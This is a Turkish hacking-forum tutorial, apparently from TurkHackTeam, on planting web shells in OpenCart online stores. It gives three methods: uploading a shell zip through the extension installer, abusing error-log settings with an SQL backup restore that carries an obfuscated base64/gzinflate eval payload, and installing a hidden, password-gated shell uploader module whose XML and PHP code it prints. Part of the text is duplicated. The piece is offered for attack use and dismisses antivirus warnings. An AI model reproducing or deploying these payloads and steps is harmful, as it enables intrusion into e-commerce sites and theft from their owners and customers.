Hepinize selamlar arkadaşlar. Bugünkü konumuzda opencart siteye shell atmayı ve temel mantığı anlatacağım. Shell atmanın pek çok yöntemi mevcut. Bu konuda da bunların tamamını öğrenebileceksiniz.
Öncelikle Opencart Nedir?
Opencart işini internet ortamına taşımak ve e-ticaret yapmak isteyen kullanıcılar için geliştirilmiş PHP tabanlı, açık kaynak kodlu ve ücretsiz bir e-ticaret platformudur. Açık kaynak kodlu olması sebebiyle geliştirilebilir bir web sitesi altyapısı sunması ve kullanıcı dostu ara yüzüyle e-ticaret sektörü için en çok tercih edilen hazır scriptler arasında yer almaktadır.
Şimdi konumuza geçelim.
1. Yöntem
İlk önce Opencart sitemize girdik. Sonrasında 'Extensions' yazan yerde Installer gireceğiz. (puzzle işareti var)
ve karşımıza dosya yükleme yeri gelecek buraya dosyamızı zip halinde yükleyeceğiz. Shellimizi sitemize yüklemiş bulunmaktayız.
Atmış olduğum rar dosyasının içine kendiniz istediğiniz shelli koyabilirsiniz.
Şimdi sitemizde shell dizinine gidelim.
Shellimizin bulunduğu dizin;
site adı /catalog/view/theme/mintleaf/template/error/up.php
Bu yöntemle basit bir şekilde shell yükleyebilirsiniz.
2. Yöntem
Bu yöntemde shell yüklemek için görsellerdeki adımları takip etmeniz yeterli olacaktır.
Yine opencart siteme giriş yaptım. url kısmından setting/setting yazın ve sunucu kısmına gelin. Site çince olduğu çeviri yaptım sizler için ama genelde hep en sağ sekmeye geçiş yapmamız lazım.
sunucu kısmına geldikten sonra en aşağı iniyoruz ve hata yönetimi kısmında hataları evet/yes yapıp dosya adını da istediğiniz şekilde yazıp .php diye kaydedin.
bunu da yaptıktan sonra sıra url kısmına tool/backup’a geleceğiz veya menüden aynı şekilde gelebilirsiniz. Size vereceğim kodu opencart.sql veya istediğiniz bir isimde, uzantısı .sql olacak şekilde kaydedin ve 2 diye işaretlediğim yükleme butonuna tıklayın.
Bu işlem bazı sitelerde olacağı gibi bazılarında olmaz.
Olduğunda da site.com/system/logs/ghost.php veya site.com/system/storage/logs/ghost.php olur ve bize bir upload kısmı getirecektir.
Bu upload scripti ile de istediğimiz shelli yükleyebiliriz.
Shellimizi yükledikten sonra da istediğimiz işlemi yapabiliriz.
Yüklediğimiz shellden örnek görüntü.
Kullandığımız kodlar ise bunlardır;
PHP:
SELECT '<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJ
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); ?>' FROM `mouwaffek_table`
Bu kodları bir metin editöründe açın ve .php olarak kaydedin. Daha sonra kullanmaya başlayabilirsiniz.
3. Yöntem
Bu yöntemde vereceğim dosyayı yükleyerek kendi shellinizi anında yükleyebilirsiniz. Oldukça basit ama kullanışlı. Her siteye olmayabilir çünkü bu yöntem modül ekleme şeklinde. Eğer sitede ftp ayarları vesaire varsa ondan kaynaklı olmayabilir ama öbür türlü shell yüklemede sıkıntı yaşamazsınız. Nasıl yükleyeceğinizi gösterelim.
Admin panelinden extensions kısmına gelelim. Oradan da installer yani yükleyici kısmına gelelim. Burada upload kısmına size vereceğim dosyayı yükleyin ve biraz bekleyin.
Yükleme tamamlandığında ise eğer “Succes” yazısı görürsek işlemimiz tamamlanmış demektir.
Normalinde url’mizi yapıştırdığımızda karşımıza sadece hata sayfası çıkacaktır.
Ama benim yaptığım düzenleme ile burada başka bir güzel nokta daha karşımıza geliyor. Shell yükleme noktamız gizli. Eğer sizden başkası girmeye çalışırsa ve ne yazacağını bilmezse yükleme kısmına erişim sağlayamaz.
Yükleme kısmına gelmek için siteadi.com/admin/language/en-gb/extension/extension/ghost?gho=st yazılması gerekli. Aksi takdir de shell yükleyemezsiniz. Buradan kendi shellinizi yükleyerek istediğinizi yapabilirsiniz.
Dosyamızdan bahsedecek olursak normal shellerden veya upload scriptlerinden biraz farklı. Kendisini gizlemesi ve sizin yazdığınız komut ile kendisini göstermesi bu shelli eşsiz ve üstün kılıyor.
Shellimizin örnek index tema kodları;
Kodlarını koymamın temel ve ana sebebi mantığını daha iyi kavrayabilmeniz için.
Diğer örnek php login page kodlarımızın başlangıcı;
Devamında zaten yüzlerce yazılmış olan php kodları mevcut. Dosyamızın içerisinde her türlü, shelli servera atabilmeniz için olanak sağlanmıştır.
Bu nedenle mutlaka kullanmanızı tavsiye ederim.
Admin panelinden extensions kısmına gelelim. Oradan da installer yani yükleyici kısmına gelelim. Burada upload kısmına size vereceğim dosyayı yükleyin ve biraz bekleyin.
Yükleme tamamlandığında ise eğer “Succes” yazısı görürsek işlemimiz tamamlanmış demektir.
Normalinde url’mizi yapıştırdığımızda karşımıza sadece hata sayfası çıkacaktır.
Ama benim yaptığım düzenleme ile burada başka bir güzel nokta daha karşımıza geliyor. Shell yükleme noktamız gizli. Eğer sizden başkası girmeye çalışırsa ve ne yazacağını bilmezse yükleme kısmına erişim sağlayamaz.
Yükleme kısmına gelmek için siteadi.com/admin/language/en-gb/extension/extension/ghost?gho=st yazılması gerekli. Aksi takdir de shell yükleyemezsiniz. Buradan kendi shellinizi yükleyerek istediğinizi yapabilirsiniz.
Dosyamızdan bahsedecek olursak normal shellerden veya upload scriptlerinden biraz farklı. Kendisini gizlemesi ve sizin yazdığınız komut ile kendisini göstermesi bu shelli eşsiz ve üstün kılıyor.
Shellimizin örnek index tema kodları;
Kodlarını koymamın temel ve ana sebebi mantığını daha iyi kavrayabilmeniz için.
HTML:
<?xml version="1.0" encoding="utf-8"?>
<modification>
<code>reverse-shell-00001</code>
<name>Ghost Killer - Anka Red Team | Opencart Shell Uploader</name>
<version>1.0</version>
<author>Ghost Killer - TurkHackTeam.ORG </author>
<link>http://www.zone-h.org/archive/notifier=ZoRRoKiN</link>
<file path="admin/controller/common/column_left.php">
<operation>
<search><![CDATA[if ($maintenance) {]]></search>
<add position="before"><![CDATA[
if ($this->user->hasPermission('access', 'extension/extension/shell')) {
$this->language->load('extension/extension/shell');
$maintenance[] = array(
'name' => $this->language->get('text_shell'),
'href' => $this->url->link('extension/extension/shell', 'user_token=' . $this->session->data['user_token'], true),
'children' => array()
);
}
]]></add>
</operation>
</file>
</modification>
Diğer örnek php login page kodlarımızın başlangıcı;
PHP:
<?php
$username = "ghostprv8"; $password = "81b2c659bb4db00a3b500e854a9508cf"; $user = $_POST['user']; $pass = $_POST['pass']; $form = "<form method='POST'>
<center>
<h1>Ghost Killer - Login Page</h1> <br>
<br><input type='text' name='user'>
<br>
<input type='password' name='pass'>
<br>
<br><input type='submit' value='Do you Know the Pass'>
</form></br>";
session_start();
if( !isset($_SESSION['sec']) ){
$_SESSION['sec'] = false;
} if(isset($pass)) {
if($user == $username and md5($pass) == $password) {
$_SESSION['sec'] = true; }
else {
die( "{$form} <br> Hatali Sifre"); }
} if(!$_SESSION['sec']): echo $form; exit(); endif;
;
set_time_limit(0);
ini_set('memory_limit', '-1');
$ydLbyOjaJwMEe = array(
'uspharSWBjZbER' => 'admin',
'pakQixy' => '7bd34ddcbcc628617578bde1970f18d9',
'sansLlkDz' => '0',
'loiLrHCobiZTtPt' => '403',
'shqCCSCrKDsWXz' => '1',
'poRYrqfvfDg' => false,
'cgQnDTfdgULmtuf' => true,
);
Devamında zaten yüzlerce yazılmış olan php kodları mevcut. Dosyamızın içerisinde her türlü, shelli servera atabilmeniz için olanak sağlanmıştır.
Bu nedenle mutlaka kullanmanızı tavsiye ederim.
Not: Virüs göstermesini normal olarak karşılıyorum. Shellerin zaten genelini virüs olarak göstermektedir, isteyenler kullanabilirler.
Not 2: Bu uzantıyı kendi sunucunuzda kullanmayın.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...